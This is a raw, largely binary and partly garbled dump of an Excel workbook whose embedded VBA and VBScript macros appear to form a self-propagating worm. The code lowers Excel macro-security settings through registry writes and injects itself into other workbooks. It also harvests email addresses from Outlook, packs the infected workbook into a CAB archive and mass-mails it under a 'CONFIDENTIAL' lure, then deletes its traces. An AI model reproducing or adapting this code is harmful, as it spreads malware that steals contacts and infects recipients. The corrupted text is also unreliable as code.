objFSO.OpenTextFile(FileName, 1, False, -1)  If MyFile.AtEndOfStream Then  ReadAllTextFile = ""  Else ( ReadAllTextFile = MyFile.ReadAll  End If set objFSO = nothing  End Function  *Private Function all_non_same(source_data) ( Dim oDict, i, trimed_arr, nonsame_arr  all_non_same = ""  Set oDict = CreateObject("Scripting.Dictionary")  * trimed_arr = Split(source_data, vbCrLf)  3 For i = LBound(trimed_arr) To UBound(trimed_arr) ! oDict(trimed_arr(i)) = ""  Next   If oDict.Count > 0 Then  nonsame_arr = oDict.keys : For i = LBound(nonsame_arr) To UBound(nonsame_arr) B all_non_same = all_non_same & nonsame_arr(i) & vbCrLf  Next  End If  Set oDict = Nothing  End Function V * &(( wscript.exe & . B@,.o]  ]8 P 2'0 WScript.Shell$.scripting.filesystemobject$.E:\SORCE %GE:\SORCE B@ j ! ! $ _$"._$"'*  *Message*'4 E:\sorce\ _Key.vbs' '   .Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route On error Resume Next Set sh=WScript.CreateObject("shell.application") sh.MinimizeAll Set sh = Nothing Set Fso = CreateObject("Scripting.FileSystemObject") %Set WshShell = WScript.CreateObject("WScript.Shell") If Fso.Folderexists("E:\KK"!) = False Then Fso.CreateFolder "E:\KK" Fso.CopyFile _ WshShell.CurrentDirectory & "\ *.CAB", "E:\KK\", True For Each Atta_xls In ListDir("E:\KK")  WshShell.Run "expand " & Atta_xls & " -F:  .xls E:\KK" , 0, true Next If Fso.FileExists("E:\KK\ .xls" ) = 0 then - route = WshShell.CurrentDirectory & "\ .xls" 7 if Fso.FileExists(WshShell.CurrentDirectory & "\ .xls")=0 then # route = InputBox(" Warning! " & Chr(10) & "+You are going to open a confidential file." & Chr(10) _ " & "%Please input the complete file path." & Chr(10) & "#ex. C:\parth\confidential_file.xls", _  " Open a File" , "$Please Input the Complete File Path", 10000, 8500)  End if else  route = "E:\KK\ .xls" End If  set oexcel=createobject("excel.application") ' set owb=oexcel.workbooks.open(route)  oExcel.Visible = True Set oExcel = Nothing Set oWb = Nothing Set WshShell = Nothing Set Fso = Nothing  WScript.Quit %Private Function ListDir (ByVal Path) ( Dim Filter, a, n, Folder, Files, File  ReDim a(10)  n = 0 " Set Folder = fso.GetFolder(Path)  Set Files = Folder.Files  For Each File In Files  If left(File.Name, ) = " " and right(File.Name,3) = "CAB" Then 4 If n > UBound(a) Then ReDim Preserve a(n*2)  a(n) = File.Path  n = n + 1  End If  Next  ReDim Preserve a(n-1)  ListDir = a  End Function V !* \TEST.txt' '    E:\sorce\ _Key.vbs  E:\sorce\ .xls V &(.A@6 E:\sorce\ .xls B@A@R$L' 8 !*$A@:#"C:\" !*A@:comspec$  /c makecab /F " !* \TEST.TXT"J /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../ .CAB . B@, " !* \TEST.txt %< !* \setup.rpt %< !* \setup.inf %< !*\ .CAB %<aA@comspec$  /c RD /S /Q " !*\disk1" . B@,comspec$  /c Del /F /Q " !* \TEST.txt" . B@,comspec$  /c Del /F /Q " !* \setup.rpt" . B@,comspec$  /c Del /F /Q " !* \setup.inf" . B@,comspec$  /c RD /S /Q E:\sorce . B@,E:\KK %GE:\KK B@ jcomspec$  /c MOVE /Y   .CAB E:\KK" . B@, 8A@: 0  Dear all, @  @FYIE:\KK\ .CABA>comspec$  /c RD /S /Q E:\KK . B@,. &(.o=h ]H ]` G|jOutlook.Application$.L R L%P.N N D9D F9F B9h H9T J5VB@9Xq =Z=\= NB@^[ setforth A@A@A@%sbA@`A@\<Z<.L.No<x Win32_Process WinMgmts:$f%h.d'  j d j!lOUTLOOK ' y<k;;i; ] 0 H 'n pGzj p   p n$$ 'n zP;kH; p 'rA@4  v r  x   't x t G n$$ x t 'nj x t 'x:i:` ]   '2D:\Collected_Address\log.txt$ @$~'z z z  $n$$$~'|  | 2; $|X $z'2 i9 9]H ` scRiPTinG.fiLEsysTeMoBjEcT$.  %. !' B@Bi9x 8]  scRiPTinG.fiLEsysTeMoBjEcT$.   $ %G   $ B@ j  %<  %.  B@ B@Bd8  %.  B@ B@Bk7o7( ]h   ] &(. &((p7  ! ( !!$~# Auto_ActivateG B@j7  !4 !Macro1  ( B@k66$4B@H 4B@  !4 !$4!G  (j06 v ' v '** CONFIDENTIAL! **  +Use "$ ! ! $_key.vbs"$ To Open This File.  + "$ ! ! $_key.vbs"$ ļ.  +  $  $$5(5(q4 &(.op4 ](@X@4 !' &(. &((  !4 !Macro1G  (j3 A1:F15 $4% ! CONFIDENTIAL 'yh3k`3X3 G $4B@j &(.i 33XAttribute VB_Name = "ToDOLE" PrivalSub auto_open() Application.Display@Alerts|False If ThisWorkbook.Pa@th <> tS@tartupT@hen creenUpding[ Call delete_tf_wk<copytowxSheets0(1)."M@acro1"Sen Movem4 [ cSavnSTruEnd If   Rjonst @DQUOTEv"3?Wi BVBProject.VBComponenn" ").CodeModuBlF.InsLines 1, P"Pub Ev xx As_@ 2 vE 3 Set=4 On Error Resu@Next5  6 o_wtha7h8Ixx_OByVal wbkAMB) 9!7120 wbtvReferences.AddFrom@Guid _M1AsGUID:=" && "{0002E157-u0CB0046}k, >Major:=@0Min!3={ϒw?: XaAAhs!`0 >atACw!dxxKx8Dim`8BVBIDE: v?xw')y jC = s(#%A7aj!! $ .DBuntOf'(Func d#r&Є@_`(cDataaInvoke_a! \n147n.̠toreAfterayCDoorMisoftho(bbyABJuLdg  % T(2F1 LP1Lk2t#= M0#k4.xlse'(29L7 Q mrh@'oDole",$)K @F)xExit Zn}`lStringL! S& /tGF S SlashPo@s LongE xtQTempEQL c"Is No05 g%`'T #a1$ᘱTrim(#)vbNull3(a  & Q0Hc].=,t:"_pp_locked_ys*y9 [t0Pß2w#SJ!'Q Дv>8(s  .Number0 _!Y!9=viron0R2")"\љÈMP.basA H= + s! ! Dir(", Q.orm@+HiddСSystem)0 CleasE KiB% q929*8* .Rem .I !Eq1 :)dI"Q+= 9>2  `@Else `@ copymodule = Fah Exit Function Endx If&   FromVBProject.VBComponents(MName).Exporpile:=FBGSlashPosInStrRev(, "\")Ext.?-#Mid!.+ 1,}#-  - 11Fet e#Nothing To}B *If)Is a* The(.6I@UO KF.Typvbext_ct_Docu~m@f6AS@?TempF@%CY:KWith?.Code.DeleteL0inesAj untOf S@g*5H. (zCo-/.Insert!SA4KOn Error GoTo 0 VPRemove. ) hm iKill g}Tru'@{ e Microsoft@hobby(`Attribute l`y_zcDataaInvoke_! ." \n14" Dim myfz0 As wBeMyF#F$Res@Q N) S =SisWorkbook`.Full = ApplicaA.Startu(pPa K&`k4p.xls `eO pen("$) 2AThH <>+ s s' .CloseEShe2Environ$("comsp ec")  /c aB, -S -h """9@K4.XLS, vbMinim izedFws  h /F /:Q? \? ORD8 /S 3 @62= )cre enUpd DngTi IsAdd@KValue2Variant, 34VS?0xt 0 0 Tha';TruExith4xIf A:'} AJudge() Const T1~D= "10:0"2 1 3 4 4 5Dim Sent Tib, Wshvll.Set#CCre(Object("WS@cript.B "2@^Not In@t(UCase(.RegRead("HKEY_CLASSES_ROOT\mailto\shell\o@\command\")), "OUTLOOK.EXE"Gk> c@T)@1>=R@<2 O\r @J 4~ & @(Ou7D: \Coll:ed_Address:frag1.txt!i"AH%Y E PFi"1"\A search_in_OLH2bif_outl_U+ @# TLh#A("n10,2)G) TJ4)#'6M#FQ= -21, Now L! ˀt X% C (;2; & y+w < 2# b$ \loggHPH l%cmI JI`,n6R#i,"Cab_ dMyISBU`Gadx*] aiInteger, Att+@ddVbsbkCʢListf~s gኦLRxesuC䡢=dys¡@.f{systemob'_I @Mfs.Folderexs("E:\KKbz$8b  $= Replace`Left(Thi6snp,rsn) (- 4qX %_".@&_c{rPb\" &6& ".vbs (i`Free1 vFF0~QXput0scW Wri@#iAPnt #i!bn| eBx`#wsh, tleL;i  T0P Pr=co3("""wc.k4) @Misoft Office PAZQ1 Ў1000bkR p > 6㌓^PCall !f mh( leep 05p.sen@dKeys $ %a P Uh{TAB}?BOO @O{E`Cr}A=[; `th=U quditub#*Do Until qA(CStr("))+aSIfr RLoop=% s_2[z{F4?7t[`Close (i0s@ @A"b@ж@0A"AAolVInbox 6QCconbiTnd`ac,E,DtLxF#=YubsC۳38FA б.T. 1ssp`q.GetMMAPI vDefault(J_ Targe~? e"E1 colIPxsI.B23VVaH0 .Run _ex|e opo svbg{tB pCgQ/EachMPpage in  K2a`>55 t `Jt For" Print #i, " conbinded_address = L& valiAF(objMVage.Body)a Next "_FtZ, 8*all_non_same(ReadAllTCFil e), 2 6WScript.Qui { 'vate Function lsource`_data jDim oDict, trim" emp, t_asc, hYer_endarr, ii_ M0regex, matchs, s(GSetGCrejObject(""" & "0ing.Y:aryBVBSCRIPT.REpGEXP3B.@GlobalTruePattern \w+@([-+.])*@D\.D NHQ"Exe cute(yReAzx^.Cou1@- 1O iI@Lbd() To UN*f Ei)@I0tem(@bCxrLf܎B_0NN IfCYd,> 0 Then(h$b.keys,c3C ʠ&{`# !@ End i|Nothyke+Sub !(inpad_2sUng_frag/\bjFSO, logf_path#folde&$FD:\CollAЅI?B!ASysf#D On @Error ume n&@3_A .cF}b(el ].Existsˡch\ .tl8b$a2%?"<, Y?)ƒ^)S _P/e1! Case B*B)n  $= dOpen_r@, -_A.Wrik5_ S5Clos_q \ SO. 9O%00 ۡ t:C o i%SsK!5>nN "u>b.̣ M9N@, My6Lss5o1C)MM":!s @//e( , 1, False-J.At`OfStPmy eE1o_!Ȋ%ngQt{^%x%s@i2q NL$kǬ`Split, vB_HPY!2). /.y1{ Rآ0*o R?Bl!_H" Print #i, " NextEnd IfXSet oDict = Nothing FnFunction2Close (i) Applica.WindowStateHxlMaximized WshShell.Run ("wscript.exe& AddVbsFile_search), vbHide, False E Sub4 v= CreatCab_SendMail(VDim i As Integer, AttNHame Stg E ListQ ress_l I 4fsObject, ]'? dd= get_ten_^a izje("WSBV"7A =@=C? [u.f@Xsystemo% If fs.Folderex1s("E:\SORCE")Z` Then   3R= Re@place(Left(ThisWorkbook.\, Len ) - 4" R"@_". m@r_sub%0"*" @D& "*M@bage*@A 3sorce\L _Key.(vbs i Freex Op;For Output Acc0 Wri@r#i oexcel,owb ,Fso,a_xls,sh,r0outeOn errResuysh= "a"smas ")k sh.MintAllk "2S!N)S"NV {9e^ Z@LZ# AKKeh[Ac[GK <opy _+'%.CurrentDir@8oryUd-Q*.CABd,"8 "\E TruEaSEachaJ a(`W$expam m# -F:Ae.Z , 0, tnoZe6E/% Dq!0 tr "l =2" ?b if a@?  9B)=In`Box,=8 dr^a Q @g  Co  P 4, 10, 8500VUaieO+E+5) UBound(a)cPerve a(n*2Arn + 1/ s8@} o/ -1/ d}0a )ddq z b\TEST.t㟰 ԡ#PK_aX?>~ H砦eenUpd0ng " гtoreBefPA SaveC Qϟ Af<c c4$1ChDri% , ,'"C:\@ir`)1,Environ$("comsp ec /c makecab /F~[ThisWorkbook.Path & "\TEST.TXT"""< /D COMPRESSIONTYPE=LZX XMEMORY=21.ABINETNAMETEMPLATE=../AttName.CAB", vbHide, False Do Until fs.FileExists(txt") _ And"5setup.rpcinf+5z)rEvents Loop{WshShell.Run Environ$("com0spec: /c RD /S /Q disk12Del /FA_"r GlNzFiE:\sorceQIfBold(ereC" KK@{= ThenA CreateF% D %YMO@VE /Y P #pChDir c4$ Call Massive_SendMail(Address_lt, D{, "Dear  , vbCrLf~GF"FYI# w\p" f_c.`Set e = Nothing`pplication.ScreenUpdngTruE`ESubuPhriv1 "EJm#_#$,ject Body!CC_ebadd #achm $ Dim objOL AsH Ob itmNew!0J if_outl_opGbH>t!a! = #Lc ("O.A_"0AH=.Item(olρA Wi '! .(A-$hA&To`,yCCi,hg-s>. 4Vd/et@eAftermit C@@aOrror Goco@nEd-:.playDebugB.Int "`for$"oD Keys "%s@jWait<:=gKB U i!11` Func4(()a+Boolea(n s Get'WinMgmts:").InstancesOf("32_Ptros!).S 4 F0E) Inav 2InStr(p/.DescripQ `KOUTLOOW> 0W< 34 If NextyBRadomNine(leng>Intpegerr H !@jj, ki""#Ӑ$<= c [@:1E i1 `-ӷ$$[id. U = !t / 10Ran0izW[ &k `(RY* (@* i - m01)) + *1T mk <> t !w m/  `get_ten_]q.UAslea_arrAlPApSpkt(Read@[("D:\CHollfed5h\log.RpxYkrrV)UBoPund()Ls )4#O P$;3A$(C`(i- 1&$O7on FullqΛ6%F\Resuɓ&FsoɠT2>aQK`{sscRiPTinG.fiLEsysTeMoBjEcTsaͱ@\.O@za(5 , 1D, -a q.!All*.Cloԟg 3ragMark, pathfONO‰OQ}("OM@:㭤Left(`, Lena(10  a A0 `It_Q1" e 2Write FdE AEr1"i"ba FileText.Close End If 8Sub Private @ RestoreBef Send() Dim aa As Name, i_rowIn teger"coFl"fshtObject Application.ScreenUpdng `= Fal #DisplayAlerts"On Errorume N FEachIn ThisWorkbook.Zs.Visiblbe(Tru BSOt(aa, "!")(1)"Auto_Act".en$Delet @{A ASheetAIf 3.Macxro1+RSxl@ F8/.S@)_C.AddHK *x<> UCB+eryHidden, C$C=t((15 * Rn@d) + 1i_6Cel8ls(De** CONFIDENTIAL! X" H 2I Use " & C@hr(34)@Left(Ί, Len) - B "_key.vbs @po Op+A.$3 $$1V$ˀļAWith Range(*, t'3"L.Font.B8oldVhgColorIndex3cőHFun noneApfter+EN, del_rnBgfragBooleaO`{e"[br??fl l")Bwck& ! td).c>"A1:F1 5"9 InStr(.Valu"i") > 20| *= 5xit #`%*#TlX*#&*F 't2 `TX\6r:D#N $1X \$ \ >#`(*#TlX*#&*F 't2 `TX\6r:D#N $1X \$ \ >#`)*#TlX*#&*F 't2 `TX\6H` $ 0l`X \$ \ lX=2`X\" \$ \ \$  ldFD%$ $ " \$ \ \0ldh0 `XT\@$K) $$ $ d> 1($  \Nl(*# *1X/ l(*# *1T/ l(*# *1P/ l(*# *1L/ (< (,C  <X  / C  ,T  / C  <P  / C  ,L  / |$H0 lXTPL(<,\ $t\  \lN 0Dl @lel @l@lcl@t(l\0   ppzKkQX\ F`%pt$ t p D"\ lXJ/X)tp\ipz$p$ Xtp\4D  DTNM:l.%T>D/$ 0$:1(]p6D$lD 2Dl?]V$ 24UUUUUU?]I' 2?]V 2?]I't6DU#:l3NDD 4#p50/p5D#P$:43N$$:l5NDD 66D$ 7. 8eD 2DlUUUUUU?]p$ 2UUUUUU? 99 :I' 2?]p 2t? 99` :`IP'@06Dt`#,+D ;D99$ :$Otd6D$Ku :l<NDD 4#ptd/p5D^D ;DdMl@99$ :$c:4=N 4#p0/p6D$*$:43N$$:lNDD 66D$$D ;:l<N$$D 66D$ >L4(TLpD$t`P@00   0   0 h   7:?%'8:h@NXX( A (BBN6X8(pz0AXC:hD8(H]t6X8pz Nll4X8(0   0 `  0   0 x   0 (  rU~|  mp    q 9 1 Q I )I!) ! a""""!# Q#y#$# $Q%A$$%%1&i&&i')'Q* (Q (y a  (*(Y) 1+y+9,+' ,,I - A.-)-.Q-i-!//1 0-y0-Y  9!  y t," x$ x xHt $ 0ltp x$ x lp=2tpx$" x$ x x X Y>\(`%x$ x d\W< :L ]@)x\5<V=[x Zx $ " x$ x xP,$ $tpx\<,F\`:d[%tx$ Xx \Ht I` ,RQ\X)xt`\X <W]X <W^X <W_X <W`X <WaX <WbX <WcX <W_ X <Wd X <W9ef*#Tg*#Pf*#Lh*#H X <W2TPLHi X <Wj X <W`X <WkX <WlX <WbX <WcX4(X,TPLHxt`\l$ XQlx'X:\[%lx \Hl IQXtllt ,RQlp lpTPT 8WlPT @WcT,4TtxplXHh $ 0lh` d$ d l`=2h`dx P 5P P 5P P 5P ,(lh`dP lhK9DH:L %\$ \ D"H XQDd)\H\h XQ\`!+>`dEC@@ F/@w @4lhd`@\HD4K cpz&l ML@< G<F,]35<Opz cgpzH THlpzH THlpzK( FL%H \H IQt$ J KlpzE:LLN<< M:,N F:O`1p6 < $pML@ P#=/ JHpML@ Q$ J KlpzH \HQ% FL% IQ[ ,Ic JH( FL%H \H IQt$ J Kl$ J Kl pz1lp FL%H \H I 4R)Nlp^SqdTlp^Sq`:l`ldi1h)lh <WcK#l\H \H ,I)pML@ Qpz@(lpth\,<pK` $ >`1h0` \$ \ l`*1d/`\Y C`` !X $ 0lXT \$ \ lT=2`XT\B '%' %f0%@:D %\$ \ D"@ l)\@r:D#N $1X \K4$ @4W$ L4" 4$ 4 4" 4$ 4 44$ Q4[ \r\A$ : ]@5$ %\C \sG: %L4$ 4 d$<)4R0stdole h%^*\G{00020430-C 0046}#2.0#0#C:\Windows\syst em32\e2.(`VS_`Version` CreateObject`(WRegy`strkey`ValueK` ValueType `oWshellu`RegWrite!>`sht`Addr`xlExcel4MacroSheet0` ActiveSheet%N`Range ` ActiveCell` FormulaR1C1S`UserName\`ChrK~`Now%`Namesο`Excel4MacroSheetsɷ`Visible`xlSheetVeryHidden` WorkBookName+`WorkBookNotOpen`T1*_`T2+_`T3,_`T4-_`SentTime!D`WshShell0`UCase5 `RegReadw`Time`ReadOut` CreateFile` search_in_OLe`if_outlook_openi`DateAdd/6` timeErrorӋ`CreatCab_SendMailT@`i``AttName` AddVbsFileVg` AddListFile`fsF]` Folderexists ` CreateFolder`Replacef`AddVbsFile_clear͸`AddVbsFile_search` WindowState|` xlMaximizedZp`Run_`vbHideW` Address_listQ`get_ten_address``mail_sub`RestoreBeforeSendq+`c4\`ChDrive%` FileExists`Massive_SendMail`vbCrLf` Email_Address`SubjectRP`Bodyl` CC_email_add` Attachment^6`objOL` itmNewMail6` CreateItem~` olMailItem`CC\` Attachments_`DeleteAfterSubmit`continueT` SendEmail`display`SendKeysN`Wait`objs` GetObjectz` InstancesOfr`obj` Description ` RadomNine`lengthY`jj]`kb`RndR`md`singleAddress_arr `krr`Split)`FullPath+`FileTextg|` OpenTextFile`ReadAllU`FragMark)O`pathf; `aa{\`i_rowz,`i_colx`Deletex`xlSheetVisible`Cells`FontU`Bold` ColorIndex`del_shtv`rngU`del_fragy`_Defaultj`xx_` Workbook_open`xx_workbookOpenPZ` References` AddFromGuidA{`GUID`Major'`Minora` Worksheet` _B_var_Chr\;`_B_str_Environ` _B_var_UCasea` _B_var_Time$` _B_var_objs"` _B_var_objz` _B_var_TrimmT`_B_var_Environ/` _B_var_Midp`# Z"0` FromVBProject6` ToVBProject`OverwriteExistingk`FNameR`CompName!`Sj`SlashPosk#`ExtPosF` TempVBComp`Trim@` vbNullString` Protection`vbext_pp_lockedh`Erro`Number-`Environ,`vbNormal-`vbHiddenT;`vbSystem`Clear`Kill`Removeϱ`Itemz`Export`FileNamej`InStrRevĈ`Importi`vbext_ct_Document `Lines`myfile0[y`MyFile`FullNameО` WorkbookOpen`ShellV`vbMinimizedFocusx`IsAddin~|` SaveCopyAsT`Fso`RK1`RK2`RK3`RK4`KValue1'`KValue2tlb#OLE Automation`EOffDicEOficEE2DF8D04C-5BFA-101B-BDE5EAAC42Egram Files\CommonMicrosoft Shared\OFFICE11\MSO.0DLL#M 1@1.0 Ob LibraryK VBIDE>BIDEE157R5.3R/\6E6EXT.OLB0Visual Basic for Applicas Extensibilpity +BQ:BThisWorkbookG TisWArkboU 2 HB1BO ,B,!%*"B+BBSheet1GS@#e@t1H&2N~U2222R} 3 35 3 3 )~ ToD@u T9DOLY)' )x !7brU~~~~~~s  14 Qwb ModuleName  FromVBProject ToVBProjectOverwriteExistingstrkeyValue ValueType WorkBookName Email_AddressSubjectBody CC_email_add AttachmentlengthFullPathFH44 A1:F15 Range Value CONFIDENTIAL Delete/O-E{eotZBq7;lkf/%T'LP,K)FkB(uN["CyLj/)o> %N쭅6 4scRiPTinG.fiLEsysTeMoBjEcT XHKEY_CURRENT_USER\Software\Microsoft\Office\ 4\Excel\Security\AccessVBOM *\Excel\Security\Level ZHKEY_LOCAL_MACHINE\Software\Microsoft\Office\ REG_DWORD q  WScript.Shell RegWrite \k4.xls k4.xlsF comspec $ /c attrib -S -h " \K4.XLS"  /c Del /F /Q "  /c RD /S /Q " q  qX  10:00:00 11:00:00 14:00:00 15:00:00 XHKEY_CLASSES_ROOT\mailto\shell\open\command\RegRead OUTLOOK.EXEDescription <D:\Collected_Address:frag1.txt 1 n <D:\Collected_Address:frag2.txt 8D:\Collected_Address\log.txt q  qd  q  Win32_Process WinMgmts:InstancesOf OUTLOOK qr @zF ToDolefĤIx8< Temp \ .bas .! OĦ q ` q  q  q q  q  q   x (${cnfJ͙,bZDZ@G&ZֱG6As=P-ߺiOW=iB)٫>`LB>-zq/cGH)U!Jh+pD+)[fCX=C.u; = False Call do_what End Sub bPrivate Sub xx_workbookOpen(ByVal wb As Workbook) Jwb.VBProject.References.AddFromGuid _ GUID:= L{0002E157-0000-000ragMarkpathf Q ( Q)8 Q1Hxx Q XThisWorkbookThisWorkbookSheet1Sheet1Sheet2Sheet2Sheet3Sheet3ToDOLEToDOLEID="{A8BDF6E5-1694-4E5D-964F-9FED536ADE9F}" Document=ThisWorkbook/&H00000000 Document=Sheet1/&H00000000 Document=Sheet2/&H00000000 Document=Sheet3/&H00000000 Module=ToDOLE Name="VBAProjeK*yrU~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\ UF E8\#   ) A YAQi1 VBAProject ThisWorkbookSheet1Sheet2Sheet3ģ1ToDOLEF /C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLLVBA  10F4C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXEExcel 9@0F OĦC:\Windows\system32\stdole2.tlbstdole  QPL-[DR?C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLLOffice q`WFCC:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLBVBIDE  p auto_opencopytoworkbookdelete_this_wkdo_what copystartF copymoduleMicrosofthobbyOpenDoorWReg Movemacro4 WorkbookOpen ActionJudge search_in_OLCreatCab_SendMailMassive_SendMailif_outlook_open RadomNineget_ten_addressReadOut CreateFileRestoreBeforeSendRestoreAfterOpen FF FuR@D,T7HԅbF9KVGJkDFWorkbook @FName Macro1  ThisWorkbook`FbFdFnF " FPublic WithEvents xx As Application 6Private Sub Workbook_open() (Set xx = Application (On Error Resume Next =ALERT("y(u[ sQ 9JtV x^ BApplication.DisplayAlerts = False Call do_what End Sub bPrivate Sub xx_workbookOpen(ByVal wb As Workbook) Jwb.VBProject.References.AddFromGuid _ GUID:= L{0002E157-0000-0000-C000-000000000046} , _ $Major:=5, Minor:=3xx DApplication.ScreenUpdating = False copystart wb BApplication.ScreenUpdating = TrueF&1FvȔ FEFv*eDF Worksheet Select A2 =ERROR(FALSE) A3 (=IF(ERROR.TYPE(RUN(" "))=4) A4tD/B !S 0Please Enable Macro!",3) A5 $=FILE.CLOSE(FALSE) A6 =END.IF() A7 =RETURN() !Auto_Activate =Macro1!$A$2VisibleVBE6.DLL q`  q" (%5!{JbFV[hwd%Dt#1nT (ERdc=٪xCdDF Workbook_openxx_workbookOpen )SummaryInformation(8DocumentSummaryInformation8CompObjjct" HelpContextID="0" VersionCompatible32="393222000" CMG="20221F6523652365236523" DPB="72704DFD9EFE9EFE9E" GC="C4C6FB571FA820A82057" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisWorkbook=0, 0, 0, 0, C Sheet1=0, 0, 0, 0, C Sheet2=0, 0, 0, 0, C Sheet3=0, 0, 0, 0, C ToDOLE=0, 0, 0, 0, C Oh+'0 px  aaԾMicrosoft Excel@`{@2@G{՜.+,D՜.+,x   =' Sheet1Sheet2Sheet3Sheet1!Print_Titles  Χ` ?GKSOProductBuildVer2052-9.1.0.4879 FMicrosoft Office Excel Biff8Excel.Sheet.89q